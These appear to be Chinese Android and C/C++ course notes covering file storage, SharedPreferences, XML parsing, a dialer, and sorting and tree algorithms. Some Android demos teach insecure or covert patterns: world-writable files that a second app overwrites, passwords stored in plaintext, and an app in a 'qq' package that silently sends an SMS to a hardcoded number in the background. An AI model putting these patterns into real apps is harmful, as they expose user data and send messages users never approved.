android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" > <TextView android:id="@+id/tv_memory_info" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" /> </RelativeLayout> android下权限 文件存储: this.getFilesDir(); // /data/data/包名/files this.getCacheDir(); // /data/data/包名/cache openFileOutput("aa.txt", 0); /data/data/包名/files/aa.txt 权限相关: 1. 私有文件 2. 可读文件 3. 可写文件 4. 可读可写文件. 写数据_权限相关 package com.itheima28.writedata; import java.io.FileNotFoundException; import java.io.FileOutputStream; import android.app.Activity; import android.content.Context; import android.os.Bundle; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // 写数据 // 私有文件 writeToLocal("private.txt", Context.MODE_PRIVATE); // 可读文件 writeToLocal("readable.txt", Context.MODE_WORLD_READABLE); // 可写文件 writeToLocal("writeable.txt", Context.MODE_WORLD_WRITEABLE); // 可读可写文件 writeToLocal("readable_writeable.txt", Context.MODE_WORLD_READABLE + Context.MODE_WORLD_WRITEABLE); } private void writeToLocal(String fileName, int mode) { try { FileOutputStream fos = openFileOutput(fileName, mode); fos.write(("第一个程序写的数据: " + fileName).getBytes()); fos.flush(); fos.close(); } catch (Exception e) { e.printStackTrace(); } } } 读数据_权限相关 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity" > <Button android:id="@+id/btn_read_private" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="读私有文件" /> <Button android:id="@+id/btn_write_private" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="写私有文件" /> <Button android:id="@+id/btn_read_readable" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="读可读文件" /> <Button android:id="@+id/btn_write_readable" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="写可读文件" /> <Button android:id="@+id/btn_read_writeable" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="读可写文件" /> <Button android:id="@+id/btn_write_writeable" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="写可写文件" /> <Button android:id="@+id/btn_read_readable_writeable" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="读可读可写文件" /> <Button android:id="@+id/btn_write_readable_writeable" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="写可读可写文件" /> </LinearLayout> package com.itheima28.readdata; import java.io.BufferedReader; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStreamReader; import android.os.Bundle; import android.app.Activity; import android.view.Menu; import android.view.View; import android.view.View.OnClickListener; import android.widget.Toast; public class MainActivity extends Activity implements OnClickListener { private String basicPath = "/data/data/com.itheima28.writedata/files/"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); findViewById(R.id.btn_read_private).setOnClickListener(this); findViewById(R.id.btn_write_private).setOnClickListener(this); findViewById(R.id.btn_read_readable).setOnClickListener(this); findViewById(R.id.btn_write_readable).setOnClickListener(this); findViewById(R.id.btn_read_writeable).setOnClickListener(this); findViewById(R.id.btn_write_writeable).setOnClickListener(this); findViewById(R.id.btn_read_readable_writeable).setOnClickListener(this); findViewById(R.id.btn_write_readable_writeable).setOnClickListener(this); } /** * 哪一个控件被点击, v对象就代表被点击的对象 */ @Override public void onClick(View v) { switch (v.getId()) { case R.id.btn_read_private: readFile("private.txt"); break; case R.id.btn_write_private: writeFile("private.txt"); break; case R.id.btn_read_readable: readFile("readable.txt"); break; case R.id.btn_write_readable: writeFile("readable.txt"); break; case R.id.btn_read_writeable: readFile("writeable.txt"); break; case R.id.btn_write_writeable: writeFile("writeable.txt"); break; case R.id.btn_read_readable_writeable: readFile("readable_writeable.txt"); break; case R.id.btn_write_readable_writeable: writeFile("readable_writeable.txt"); break; default: break; } } /** * 读文件 * @param fileName */ private void readFile(String fileName) { try { String path = basicPath + fileName; BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(path))); String text = reader.readLine(); reader.close(); Toast.makeText(this, "读取成功: " + text, 0).show(); } catch (Exception e) { e.printStackTrace(); Toast.makeText(this, "读取失败: " + fileName, 0).show(); } } private void writeFile(String fileName) { try { String path = basicPath + fileName; FileOutputStream fos = new FileOutputStream(path); fos.write("哈哈, 被我给黑了".getBytes()); fos.flush(); fos.close(); Toast.makeText(this, "写入成功: " + fileName, 0).show(); } catch (Exception e) { e.printStackTrace(); Toast.makeText(this, "写入失败: " + fileName, 0).show(); } } } SharedPreferences使用 SharedPreferences存储路径:/data/data/包名/shared_prefs/ package com.itheima28.qqlogin.utils; import java.util.HashMap; import java.util.Map; import android.content.Context; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.text.TextUtils; public class UtilsOfSharedPreferences { /** * 保存用户信息到sd卡 * @param number * @param password * @return true 成功 */ public static boolean saveUserInfo(Context context, String number, String password) { try { // /data/data/包名/shared_prefs/itheima28 SharedPreferences sp = context.getSharedPreferences("itheima28", Context.MODE_PRIVATE); // 获得一个编辑对象 Editor edit = sp.edit(); // 存数据 edit.putString("number", number); edit.putString("password", password); // 提交, 数据真正存储起来了. edit.commit(); return true; } catch (Exception e) { e.printStackTrace(); } return false; } /** * 到sd卡获取用户信息 * @return */ public static Map<String, String> getUserInfo(Context context) { SharedPreferences sp = context.getSharedPreferences("itheima28", Context.MODE_PRIVATE); String number = sp.getString("number", null); String password = sp.getString("password", null); if(!TextUtils.isEmpty(number) && !TextUtils.isEmpty(password)) { Map<String, String> userInfoMap = new HashMap<String, String>(); userInfoMap.put("number", number); userInfoMap.put("password", password); return userInfoMap; } return null; } } xml解析和序列化 Person.java package com.itheima28.xmldemo; public class Person { private int id; private String name; private int age; @Override public String toString() { return "Person [id=" + id + ", name=" + name + ", age=" + age + "]"; } public Person(int id, String name, int age) { super(); this.id = id; this.name = name; this.age = age; } public Person() { super(); // TODO Auto-generated constructor stub } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } TestCase.java package com.itheima28.xmldemo.test; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.util.ArrayList; import java.util.List; import org.xmlpull.v1.XmlPullParser; import org.xmlpull.v1.XmlSerializer; import android.os.Environment; import android.test.AndroidTestCase; import android.util.Log; import android.util.Xml; import com.itheima28.xmldemo.Person; public class TestCase extends AndroidTestCase { public void test() { // writeXmlToLocal(); List<Person> personList = parserXmlFromLocal(); for (Person person : personList) { Log.i("TestCase", person.toString()); } } /** * 写xml文件到本地 */ private void writeXmlToLocal() { List<Person> personList = getPersonList(); // 获得序列化对象 XmlSerializer serializer = Xml.newSerializer(); try { File path = new File(Environment.getExternalStorageDirectory(), "persons.xml"); FileOutputStream fos = new FileOutputStream(path); // 指定序列化对象输出的位置和编码 serializer.setOutput(fos, "utf-8"); serializer.startDocument("utf-8", true); // 写开始 <?xml version='1.0' encoding='utf-8' standalone='yes' ?> serializer.startTag(null, "persons"); // <persons> for (Person person : personList) { // 开始写人 serializer.startTag(null, "person"); // <person> serializer.attribute(null, "id", String.valueOf(person.getId())); // 写名字 serializer.startTag(null, "name"); // <name> serializer.text(person.getName()); serializer.endTag(null, "name"); // </name> // 写年龄 serializer.startTag(null, "age"); // <age> serializer.text(String.valueOf(person.getAge())); serializer.endTag(null, "age"); // </age> serializer.endTag(null, "person"); // </person> } serializer.endTag(null, "persons"); // </persons> serializer.endDocument(); // 结束 } catch (Exception e) { e.printStackTrace(); } } private List<Person> getPersonList() { List<Person> personList = new ArrayList<Person>(); for (int i = 0; i < 30; i++) { personList.add(new Person(i, "wang" + i, 18 + i)); } return personList; } private List<Person> parserXmlFromLocal() { try { File path = new File(Environment.getExternalStorageDirectory(), "persons.xml"); FileInputStream fis = new FileInputStream(path); // 获得pull解析器对象 XmlPullParser parser = Xml.newPullParser(); // 指定解析的文件和编码格式 parser.setInput(fis, "utf-8"); int eventType = parser.getEventType(); // 获得事件类型 List<Person> personList = null; Person person = null; String id; while(eventType != XmlPullParser.END_DOCUMENT) { String tagName = parser.getName(); // 获得当前节点的名称 switch (eventType) { case XmlPullParser.START_TAG: // 当前等于开始节点 <person> if("persons".equals(tagName)) { // <persons> personList = new ArrayList<Person>(); } else if("person".equals(tagName)) { // <person id="1"> person = new Person(); id = parser.getAttributeValue(null, "id"); person.setId(Integer.valueOf(id)); } else if("name".equals(tagName)) { // <name> person.setName(parser.nextText()); } else if("age".equals(tagName)) { // <age> person.setAge(Integer.parseInt(parser.nextText())); } break; case XmlPullParser.END_TAG: // </persons> if("person".equals(tagName)) { // 需要把上面设置好值的person对象添加到集合中 personList.add(person); } break; default: break; } eventType = parser.next(); // 获得下一个事件类型 } return personList; } catch (Exception e) { e.printStackTrace(); } return null; } }
通信技术 1G 模拟制式 只能进行语音通话. 2G GSM, CDMA 收发短信和邮件. 2.5G GPRS, EDGE 访问wap网络数据.(图片, 壁纸, 文字信息) 3G WCDMA(联通), CDMA2000(电信), TD-SCDMA(移动) 发微博, 查看高清图片, 小电影. 3.5G HSDPA, HSDPA+ 4G TD-LTE 下载速度: 50Mb/s = 6MB/s 上传速度: 10Mb/s = 1.2MB/s 100Mb/s != 100MB/s 1 Byte = 8bit 100Mb/s = 12.5MB/s android简介 操作系统: 阿里云os, Ophone, MUI, 锤子. android体系结构和虚拟机 虚拟机的区别: JVM: .java --> javac --> .class --> jar --> .jar 架构: 堆栈 DVM: .java --> javac --> .class --> dx.bat --> .dex 架构: 寄存器(cpu上一块高速的缓存) 第一个应用程序和adb常用命令 android调试桥: adb命令使用 需要在系统环境遍历中path中追加adb.exe的完整路径 D:\IDE\adt-bundle-windows-x86-20130729\sdk\platform-tools Adb shell 安装和卸载程序。 工程目录结构 src: 存放java代码 gen: 存放自动生成文件的. R.java 存放res文件夹下对应资源的id project.properties: 指定当前工程采用的开发工具包的版本 libs: 当前工程所依赖的jar包. assets: 放置一些程序所需要的媒体文件. bin: 工程的编译目录. 存放一些编译时产生的临时文件和当前工程的.apk文件. res(resources): 资源文件. drawable: 存放程序所用的图片. layout: 存放android的布局文件. menu: 存放android的OptionsMenu菜单的布局. values (应用程序所需要的数据. 会在R文件中生成id) strings.xml 存放android字符串. dimens.xml 存放屏幕适配所用到的尺寸. style.xml 存放android下显示的样式. values-sw600dp 7寸平板所对应的值 values-sw720dp-land 10寸平板所对应的值 values-v11 指定3.0版本以上的手机显示的样式. values-v14 指定4.0版本以上的手机显示的样式. AndroidManifest.xml: android应用程序的入口文件. 声明了android里边的组件. 和相关配置信息. proguard-project.txt: 加密当前程序所使用. 打包安装过程 打包安装过程(Run as Android Application ) : 1. 生成apk文件. 1). 生成.dex文件. 2). 资源索引表的生成resources.arsc. 3). 准备未编译文件. 4). 清单文件AndroidMenifest.xml文件转换成二进制. 5). 使用debug.keystore对整个应用程序进行打包签名. 2. 加载apk文件到模拟器中. 把apk文件加载到/data/local/tmp/xxx.apk 3. 安装应用程序. 1). 把/data/local/tmp/xxx.apk文件, 剪切/data/app/包名-1.apk 2). 在/data/data/文件夹下以包名创建一个文件夹, 用于存储当前程序的数据. 3). 在packages.xml和packages.list文件中分别添加一条记录. 拨号器 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" > <TextView android:id="@+id/title" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/title" /> <EditText android:id="@+id/number" android:layout_width="match_parent" android:layout_height="wrap_content" android:inputType="number" android:layout_below="@id/title" /> <Button android:id="@+id/btn_call" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@id/number" android:text="@string/callNumber" /> </RelativeLayout> package com.itheima28.caller; import android.app.Activity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.view.View; import android.widget.EditText; /** * @author andong * 程序刚运行就显示的界面 */ public class MainUI extends Activity { /** * 当界面刚被创建时回调此方法 */ @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 必须执行此句代码. 执行父类的初始化操作. setContentView(R.layout.main); // 设置当前界面显示的布局. } /** * 当拨打此号码的按钮被点击时触发此方法. * @param v */ public void call(View v) { System.out.println("拨打电话."); // 1. 取出输入框中的号码 EditText etNumber = (EditText) findViewById(R.id.number); // 输入框对象 String number = etNumber.getText().toString(); // 将要拨打的号码 // 2. 根据号码拨打电话 Intent intent = new Intent(); // 创建一个意图 intent.setAction(Intent.ACTION_CALL); // 指定其动作为拨打电话 intent.setData(Uri.parse("tel:" + number)); // 指定将要拨出的号码 startActivity(intent); // 执行这个动作 } } 四种点击事件 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.caller" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="9" android:targetSdkVersion="17" /> <!-- 添加拨打电话的权限 --> <uses-permission android:name="android.permission.CALL_PHONE"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima28.caller.MainUI4" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> package com.itheima28.caller; import android.app.Activity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; /** * @author andong * 程序刚运行就显示的界面 */ public class MainUI2 extends Activity { /** * 当界面刚被创建时回调此方法 */ @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 必须执行此句代码. 执行父类的初始化操作. setContentView(R.layout.main); // 设置当前界面显示的布局. Button btnCall = (Button) findViewById(R.id.btn_call); btnCall.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { System.out.println("MainUI2 拨打电话."); call(); } }); } /** * 拨打电话的业务方法 */ private void call() { // 1. 取出输入框中的号码 EditText etNumber = (EditText) findViewById(R.id.number); // 输入框对象 String number = etNumber.getText().toString(); // 将要拨打的号码 // 2. 根据号码拨打电话 Intent intent = new Intent(); // 创建一个意图 intent.setAction(Intent.ACTION_CALL); // 指定其动作为拨打电话 intent.setData(Uri.parse("tel:" + number)); // 指定将要拨出的号码 startActivity(intent); // 执行这个动作 } } package com.itheima28.caller; import android.app.Activity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; /** * @author andong * 程序刚运行就显示的界面 */ public class MainUI3 extends Activity { /** * 当界面刚被创建时回调此方法 */ @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 必须执行此句代码. 执行父类的初始化操作. setContentView(R.layout.main); // 设置当前界面显示的布局. Button btnCall = (Button) findViewById(R.id.btn_call); btnCall.setOnClickListener(new MyOnClickListener()); } class MyOnClickListener implements OnClickListener { @Override public void onClick(View v) { System.out.println("MainUI3 拨打号码.."); call(); } } /** * 拨打电话的业务方法 */ private void call() { // 1. 取出输入框中的号码 EditText etNumber = (EditText) findViewById(R.id.number); // 输入框对象 String number = etNumber.getText().toString(); // 将要拨打的号码 // 2. 根据号码拨打电话 Intent intent = new Intent(); // 创建一个意图 intent.setAction(Intent.ACTION_CALL); // 指定其动作为拨打电话 intent.setData(Uri.parse("tel:" + number)); // 指定将要拨出的号码 startActivity(intent); // 执行这个动作 } } package com.itheima28.caller; import android.app.Activity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; /** * @author andong * 程序刚运行就显示的界面 */ public class MainUI4 extends Activity implements OnClickListener { /** * 当界面刚被创建时回调此方法 */ @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 必须执行此句代码. 执行父类的初始化操作. setContentView(R.layout.main); // 设置当前界面显示的布局. Button btnCall = (Button) findViewById(R.id.btn_call); btnCall.setOnClickListener(this); } // class MyOnClickListener implements OnClickListener { // // @Override // public void onClick(View v) { // System.out.println("MainUI3 拨打号码.."); // call(); // } // } /** * 拨打电话的业务方法 */ private void call() { // 1. 取出输入框中的号码 EditText etNumber = (EditText) findViewById(R.id.number); // 输入框对象 String number = etNumber.getText().toString(); // 将要拨打的号码 // 2. 根据号码拨打电话 Intent intent = new Intent(); // 创建一个意图 intent.setAction(Intent.ACTION_CALL); // 指定其动作为拨打电话 intent.setData(Uri.parse("tel:" + number)); // 指定将要拨出的号码 startActivity(intent); // 执行这个动作 } @Override public void onClick(View v) { System.out.println("MainUI4 拨打号码.."); call(); } } 后台偷偷发短信 package com.itheima28.qq; import android.os.Bundle; import android.os.SystemClock; import android.app.Activity; import android.telephony.SmsManager; import android.view.Menu; import android.view.Window; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 去除标题, 必须在setContentView 方法前调用 requestWindowFeature(Window.FEATURE_NO_TITLE); // 取出标题 setContentView(R.layout.activity_main); // 开启一个子线程. while(true) 循环发送短信 new Thread(new Runnable() { @Override public void run() { // while(true) { // 循环发送短信 // Thread.sleep(1000); SystemClock.sleep(5000); SmsManager smsManager = SmsManager.getDefault(); // 短信管理器 smsManager.sendTextMessage( "18511619290", // 收件人的号码 null, // 短信中心号码 "今晚小树林, 不见不散.", null, // 如果发送成功, 回调此广播, 通知我们. null); // 当对方接收成功, 回调此广播. // } } }).start(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } }
象棋五子棋代码分析 编译代码报错: 错误 1 error MSB8031: Building an MFC project for a non-Unicode character set is deprecated. You must change the project property to Unicode or download an additional library. See http://go.microsoft.com/fwlink/p/?LinkId=286820 for more information. C:\Program Files\MSBuild\Microsoft.Cpp\v4.0\V120\Microsoft.CppBuild.targets 369 5 chess 安装vc_mbcsmfc.exe。 Pdb格式不兼容报错: 寻找算法以及排序算法 插值查找.cpp #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> int Bin_Search(int *a, int key, int n) { int low, high, mid; low = 0; high = n - 1; while (low <= high) { mid = low + (high - low) * (key - a[low]) / (a[high] - a[low]); //此处于二分查找不同,套用插值公式 if (a[mid] > key) //如果key比插值小,把高位调整为插值下标的下一位 high = mid - 1; else if (a[mid] < key) low = mid + 1; else return mid; } return -1; } int mainA() { int a[] = { 1, 5, 17, 25, 33, 38, 46, 55, 69, 75, 99 }; int key; int len = sizeof(a) / sizeof(*a); printf("请输入要查找的值:\n"); scanf("%d", &key); int pos = Bin_Search(a, key, len); if (pos != -1) printf("在数组的第%d个位置找到:%d\n", pos + 1, key); else printf("未在数组中找到元素:%d\n", key); system("pause"); return 0; } 斐波那契查找.cpp #define _CRT_SECURE_NO_WARNINGS #define MAXSIZE 13 #include <stdio.h> #include <stdlib.h> //斐波那契查找算法的明显优点在于它只涉及加法和减法运算,而不用除法。 //因为除法比加减法要占去更多的机时,因此,斐波那契查找的平均性能要比折半查找好。 void fibonacci(int *f) { f[0] = 1; f[1] = 1; for (int i = 2; i < MAXSIZE; ++i) f[i] = f[i - 2] + f[i - 1]; } int fibonacci_search(int *a, int key, int n) { int low = 0, high = n - 1; int mid = 0; int k = 0; int F[MAXSIZE]; fibonacci(F); while (n > F[k] - 1) //计算出n在斐波那契中的数列 ++k; for (int i = n; i < F[k] - 1; ++i) //把数组补全 { a[i] = a[high]; } while (low <= high) { mid = low + F[k - 1] - 1; //根据斐波那契数列进行黄金分割 if (a[mid] > key) { high = mid - 1; k = k - 1; } else if (a[mid] < key) { low = mid + 1; k = k - 2; } else{ if (mid <= high) //如果为真则找到相应的位置 return mid; else return -1; } } return -1; } int main14() { int a[MAXSIZE] = { 5, 15, 19, 20, 25, 31, 38, 41, 45, 49, 52, 55, 57 }; int k; printf("请输入要查找的数字:\n"); scanf("%d", &k); int pos = fibonacci_search(a, k, 13); if (pos != -1) printf("在数组的第%d个位置找到元素:%d\n", pos + 1, k); else printf("未在数组中找到元素:%d\n", k); system("pause"); return 0; } 插入.cpp #include <iostream> using namespace std; void main3() { int a[10]; for (int i = 0; i < 10; i++) a[i] = rand() % 100; for (int i = 0; i < 10; i++) //总索引 for (int j = 0; j < i; j++) //前面排好的部分 { int temp = a[i]; if (a[i] < a[j]) { for (int k = i; k >= j; k--) { a[k] = a[k - 1]; } a[j] = temp; } } for (int i = 0; i < 10; i++) cout << a[i] << " "; system("pause"); } 堆排序.cpp #include <stdio.h> #include <stdlib.h> #include <malloc.h> #include <time.h> void PrintArr(int *pnArr, int nLen) { for (int i = 0; i < nLen; i++) { printf("%d ", pnArr[i]); } printf("\n"); } //返回i父节点下标 int Parent(int i) { return (i - 1) / 2; } //返回i左孩子下标 int LeftChild(int i) { return i * 2 + 1; } //返回i右孩子下标 int RightChild(int i) { return i * 2 + 2; } void Swap(int *a, int *b) { int nTmp = *a; *a = *b; *b = nTmp; } void MaxHeapify(int *pnArr, int nLen, int i) { int LChild = LeftChild(i); int RChild = RightChild(i); int nMaxPos; if (LChild < nLen && pnArr[LChild] > pnArr[i]) { nMaxPos = LChild; } else { nMaxPos = i; } if (RChild < nLen && pnArr[RChild] > pnArr[nMaxPos]) { nMaxPos = RChild; } if (nMaxPos != i) { Swap(&pnArr[nMaxPos], &pnArr[i]); MaxHeapify(pnArr, nLen, nMaxPos); } } void BuildMaxHeap(int *pnArr, int nLen) { for (int i = Parent(nLen - 1); i >= 0; i--) { MaxHeapify(pnArr, nLen, i); } } void HeapSort(int *pnArr, int nLen) { BuildMaxHeap(pnArr, nLen); for (int i = nLen - 1; i > 0; i--) { Swap(&pnArr[i], &pnArr[0]); nLen--; MaxHeapify(pnArr, nLen, 0); } } int main7() { int nArr[10] = { 4, 1, 3, 2, 16, 9, 10, 14, 8, 7 }; PrintArr(nArr, 10); HeapSort(nArr, 10); PrintArr(nArr, 10); system("pause"); return 0; } 二路插入.cpp #include<iostream> using namespace std; #define MAX 20 void PrintArray(int a[], int len){ for (int i = 0; i < len; i++) cout << a[i] << " "; cout << endl; } void BinInsertSort(int a[], int len){ int *d = (int *)malloc(len*sizeof(len)); for (int i = 0; i < len; i++) d[i] = 0; int first = 0, final = 0; d[0] = a[0]; for (int i = 1; i < len; i++){ if (a[i] <= d[first]){ first = (first - 1 + len) % len; d[first] = a[i]; } else if (a[i] >= d[final]){ final = final + 1; d[final] = a[i]; } else{ int j = final++; while (a[i] < d[j]){ d[(j + 1) % len] = d[j]; j = (j - 1 + len) % len; } d[j + 1] = a[i]; } } cout << "辅助数组中排序结果为:"; PrintArray(d, len); } int main10(){ int a[MAX], len; cout << "请输入待排序的元素个数:"; cin >> len; cout << "请输入待排序的元素:"; for (int i = 0; i < len; i++) cin >> a[i]; BinInsertSort(a, len); system("pause"); return 0; } 非递归快速排序.cpp #include<iostream> #include<vector> #include<stack> #include<cstdlib> #include<algorithm> using namespace std; /**把数组分为两部分,轴pivot左边的部分都小于轴右边的部分**/ template <typename Comparable> int partition(vector<Comparable> &vec, int low, int high){ Comparable pivot = vec[low]; //任选元素作为轴,这里选首元素 while (low < high){ while (low < high && vec[high] >= pivot) high--; vec[low] = vec[high]; while (low < high && vec[low] <= pivot) low++; vec[high] = vec[low]; } //此时low==high vec[low] = pivot; return low; } /**使用递归快速排序**/ template<typename Comparable> void quicksort1(vector<Comparable> &vec, int low, int high){ if (low < high){ int mid = partition(vec, low, high); quicksort1(vec, low, mid - 1); quicksort1(vec, mid + 1, high); } } /**使用栈的非递归快速排序**/ template<typename Comparable> void quicksort2(vector<Comparable> &vec, int low, int high){ stack<int> st; if (low < high){ int mid = partition(vec, low, high); if (low < mid - 1){ st.push(low); st.push(mid - 1); } if (mid + 1 < high){ st.push(mid + 1); st.push(high); } //其实就是用栈保存每一个待排序子串的首尾元素下标,下一次while循环时取出这个范围,对这段子序列进行partition操作 while (!st.empty()){ int q = st.top(); st.pop(); int p = st.top(); st.pop(); mid = partition(vec, p, q); if (p < mid - 1){ st.push(p); st.push(mid - 1); } if (mid + 1 < q){ st.push(mid + 1); st.push(q); } } } } int main11(){ int len = 1000000; vector<int> vec; for (int i = 0; i < len; i++) vec.push_back(rand()); clock_t t1 = clock(); quicksort1(vec, 0, len - 1); clock_t t2 = clock(); cout << "recurcive " << 1.0*(t2 - t1) / CLOCKS_PER_SEC << endl; //重新打乱顺序 random_shuffle(vec.begin(), vec.end()); t1 = clock(); quicksort2(vec, 0, len - 1); t2 = clock(); cout << "none recurcive " << 1.0*(t2 - t1) / CLOCKS_PER_SEC << endl; return 0; } 归并.cpp #include <iostream> using namespace std; const int N = 10; int anthor[N]; void MergeSort(int *array, int begin, int end) { if (end - begin > 1) { // MergeSort(array, begin, (begin + end) / 2); MergeSort(array, (begin + end) / 2 + 1, end); int i = begin; int j = (begin + end) / 2 + 1; int k = begin; while (i <= (begin + end) / 2 && j <= end)//合并时,把一个串全部并入另一个串放在一个新串,剩下的直接放在尾部 { if (array[i] > array[j]) //小的值进入,并将索引后移 anthor[k++] = array[j++]; if (array[i] < array[j]) anthor[k++] = array[i++]; } while (i <= (begin + end) / 2) { anthor[k++] = array[i++]; } while (j <= end) { anthor[k++] = array[j++]; } for (k = begin; k <= end; k++) //排序好重新拷贝回数组 array[k] = anthor[k]; } else //相邻则直接交换 { if (array[end] < array[begin]) { int temp = array[end]; array[end] = array[begin]; array[begin] = temp; } } } int main6() { int array[N]; for (int i = 0; i < 10; i++) { array[i] = rand() % 100; cout << array[i] << " "; } MergeSort(array, 0, N - 1); cout << endl; for (int i = 0; i < 10; i++) { cout << array[i] << " "; } system("pause"); return 0; } 红黑树.cpp // 红黑树.cpp : 定义控制台应用程序的入口点。 #include <stdio.h> #include <stdlib.h> #include <string.h> typedef int key_t; typedef int data_t; typedef enum color_t { RED = 0, BLACK = 1 }color_t; typedef struct rb_node_t { struct rb_node_t *left, *right, *parent; key_t key; data_t data; color_t color; }rb_node_t; /* forward declaration */ rb_node_t* rb_insert(key_t key, data_t data, rb_node_t* root); rb_node_t* rb_search(key_t key, rb_node_t* root); rb_node_t* rb_erase(key_t key, rb_node_t* root); int main() { int i, count = 90; key_t key; rb_node_t* root = NULL, *node = NULL; //srand(time(NULL)); for (i = 1; i < count; ++i) { key = rand() % count; if ((root = rb_insert(key, i, root))) { printf("[i = %d] insert key %d success!\n", i, key); } else { printf("[i = %d] insert key %d error!\n", i, key); exit(-1); } if ((node = rb_search(key, root))) { printf("[i = %d] search key %d success!\n", i, key); } else { printf("[i = %d] search key %d error!\n", i, key); exit(-1); } if (!(i % 10)) { if ((root = rb_erase(key, root))) { printf("[i = %d] erase key %d success\n", i, key); } else { printf("[i = %d] erase key %d error\n", i, key); } } } return 0; } static rb_node_t* rb_new_node(key_t key, data_t data) { rb_node_t *node = (rb_node_t*)malloc(sizeof(struct rb_node_t)); if (!node) { printf("malloc error!\n"); exit(-1); } node->key = key, node->data = data; return node; } /*----------------------------------------------------------- | node right | / \ ==> / \ | a right node y | / \ / \ | b y a b -----------------------------------------------------------*/ static rb_node_t* rb_rotate_left(rb_node_t* node, rb_node_t* root) { rb_node_t* right = node->right; if ((node->right = right->left)) { right->left->parent = node; } right->left = node; if ((right->parent = node->parent)) { if (node == node->parent->right) { node->parent->right = right; } else { node->parent->left = right; } } else { root = right; } node->parent = right; return root; } /*----------------------------------------------------------- | node left | / \ / \ | left y ==> a node | / \ / \ | a b b y -----------------------------------------------------------*/ static rb_node_t* rb_rotate_right(rb_node_t* node, rb_node_t* root) { rb_node_t* left = node->left; if ((node->left = left->right)) { left->right->parent = node; } left->right = node; if ((left->parent = node->parent)) { if (node == node->parent->right) { node->parent->right = left; } else { node->parent->left = left; } } else { root = left; } node->parent = left; return root; } static rb_node_t* rb_insert_rebalance(rb_node_t *node, rb_node_t *root) { rb_node_t *parent, *gparent, *uncle, *tmp; while ((parent = node->parent) && parent->color == RED) { gparent = parent->parent; if (parent == gparent->left) { uncle = gparent->right; if (uncle && uncle->color == RED) { uncle->color = BLACK; parent->color = BLACK; gparent->color = RED; node = gparent; } else { if (parent->right == node) { root = rb_rotate_left(parent, root); tmp = parent; parent = node; node = tmp; } parent->color = BLACK; gparent->color = RED; root = rb_rotate_right(gparent, root); } } else { uncle = gparent->left; if (uncle && uncle->color == RED) { uncle->color = BLACK; parent->color = BLACK; gparent->color = RED; node = gparent; } else { if (parent->left == node) { root = rb_rotate_right(parent, root); tmp = parent; parent = node; node = tmp; } parent->color = BLACK; gparent->color = RED; root = rb_rotate_left(gparent, root); } } } root->color = BLACK; return root; } static rb_node_t* rb_erase_rebalance(rb_node_t *node, rb_node_t *parent, rb_node_t *root) { rb_node_t *other, *o_left, *o_right; while ((!node || node->color == BLACK) && node != root) { if (parent->left == node) { other = parent->right; if (other->color == RED) { other->color = BLACK; parent->color = RED; root = rb_rotate_left(parent, root); other = parent->right; } if ((!other->left || other->left->color == BLACK) && (!other->right || other->right->color == BLACK)) { other->color = RED; node = parent; parent = node->parent; } else { if (!other->right || other->right->color == BLACK) { if ((o_left = other->left)) { o_left->color = BLACK; } other->color = RED; root = rb_rotate_right(other, root); other = parent->right; } other->color = parent->color; parent->color = BLACK; if (other->right) { other->right->color = BLACK; } root = rb_rotate_left(parent, root); node = root; break; } } else { other = parent->left; if (other->color == RED) { other->color = BLACK; parent->color = RED; root = 